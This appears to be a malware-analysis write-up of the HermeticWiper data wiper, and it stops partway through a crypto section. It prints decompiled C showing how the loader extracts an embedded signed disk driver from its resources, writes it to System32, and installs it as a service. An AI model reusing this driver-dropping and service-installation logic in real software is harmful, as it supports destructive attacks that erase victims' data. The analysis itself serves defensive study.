"content":"# Analyse HermeticWiper\r\n\r\n## Summary\r\n\r\nThis wiper is composed of two parts:\r\n\r\n* a loader signed that setups the driver and configuration to execute the wiper\r\n* a [driver](https://www.fichier.net/processus/epmntdrv.sys.html) signed. It is a legitim sofware to erase the data\r\n\r\nThe loader executes the wiping using IOCTLs code to send orders to the driver.\r\n\r\n## Using Driver\r\n\r\nDriver is stored in 'RCDATA' ressources, in PE. And unzipped to store in System32 in function 004029d0. (TIP: find \"RCDATA\" in strings)\r\n\r\n```c\r\nhResInfo = FindResourceW(DAT_00407380,lpName,L\"RCDATA\");\r\nif (((hResInfo != (HRSRC)0x0) &&\r\n (hResData = LoadResource(DAT_00407380,hResInfo), hResData != (HGLOBAL)0x0)) &&\r\n (local_18 = LockResource(hResData), local_18 != (LPVOID)0x0)) {\r\nlocal_1c = (HKEY)SizeofResource(DAT_00407380,hResInfo);\r\n\r\n```\r\n\r\n## Unzip the driver\r\n\r\nThis ressource is unzipped and the driver is written in system32 folder.\r\n\r\n```c\r\n hfSource = LZOpenFileW(path_of_driver,&local_414,2);\r\n if (-1 < hfSource) {\r\n PathAddExtensionW(local_38c,L\".sys\");\r\n local_18 = (LPCVOID)LZOpenFileW(path_of_driver,&local_49c,0x1002);\r\n if ((int)local_18 < 0) {\r\n LZClose(hfSource);\r\n }\r\n else {\r\n LVar11 = LZCopy(hfSource,(INT)local_18);\r\n LZClose(hfSource);\r\n LZClose((INT)local_18);\r\n if (0 < LVar11) {\r\n pWVar12 = path_of_driver;\r\n if (local_20 != 0) {\r\n pWVar12 = StrStrIW(path_of_driver,L\"System32\");\r\n }\r\n local_28 = setup_service(pWVar12,local_6a4);\r\n```\r\n\r\n## Install Driver\r\n\r\nthe service is created and started in function 00403930 with OpenSCManagerW\r\n\r\n```c\r\n hSCManager = OpenSCManagerW((LPCWSTR)0x0,L\"ServicesActive\",3);\r\nif(hSCManager==(SC_HANDLE)0x0){\r\nDVar6=GetLastError();\r\nSetLastError(DVar6);\r\nreturn0;\r\n}\r\nhService=OpenServiceW(hSCManager,service_name,0x16);\r\nif(hService==(SC_HANDLE)0x0){\r\nDVar6=GetLastError();\r\npcVar5=CloseServiceHandle_exref;\r\nif(DVar6!=0x424)gotoLAB_00403a52;\r\nhService=CreateServiceW(hSCManager,service_name,service_name,0xf01ff,1,3,1,l_path_drive,\r\n(LPCWSTR)0x0,(LPDWORD)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0);\r\nif(hService==(SC_HANDLE)0x0){\r\nDVar6=GetLastError();\r\npcVar5=CloseServiceHandle_exref;\r\ngotoLAB_00403a52;\r\n}\r\nlocal_14=1;\r\n}\r\nelse{\r\nlocal_1c=0;\r\nlocal_34=ZEXT816(0);\r\nlocal_24=0;\r\nBVar2=QueryServiceStatus(hService,(LPSERVICE_STATUS)local_34);\r\nif(BVar2==0){\r\nBVar2=ChangeServiceConfigW\r\n(hService,1,3,1,l_path_drive,(LPCWSTR)0x0,(LPDWORD)0x0,(LPCWSTR)0x0,\r\n(LPCWSTR)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0);\r\nif(BVar2==0){\r\nDVar6=GetLastError();\r\npcVar5=CloseServiceHandle_exref;\r\nCloseServiceHandle(hService);\r\ngotoLAB_00403a52;\r\n}\r\n}\r\nelse{\r\nuVar3=(uint)(local_34._4_4_==4);\r\n}\r\n}\r\nuVar4=0;\r\ndo{\r\nif(uVar3!=0)break;\r\nuVar3=StartServiceW(hService,0,(LPCWSTR*)0x0);\r\nSleep(1000);\r\nuVar4=uVar4+1;\r\n}while(uVar4<5);\r\nDVar6=0;\r\nif(uVar3==0){\r\nDVar6=GetLastError();\r\npcVar5=CloseServiceHandle_exref;\r\nif(DVar6==0x420){\r\nuVar3=1;\r\nCloseServiceHandle(hService);\r\ngotoLAB_00403a52;\r\n}\r\nif(local_14!=0){\r\nDeleteService(hService);\r\n}\r\n```\r\n\r\n##CryptoStuff\r\n\r\nTheloadergeneratesanrandomnumbertousetowipeinfunction:00401590\r\n\r\n```c\r\nsuccess=CryptAcquireContextW\r\n((HCRYPTPROV*)&PROV_RSA_FULL,(LPCWSTR)0x0,(LPCWSTR)0x0,1,0xf0000040);\r\nif(success!=0){\r\nsucce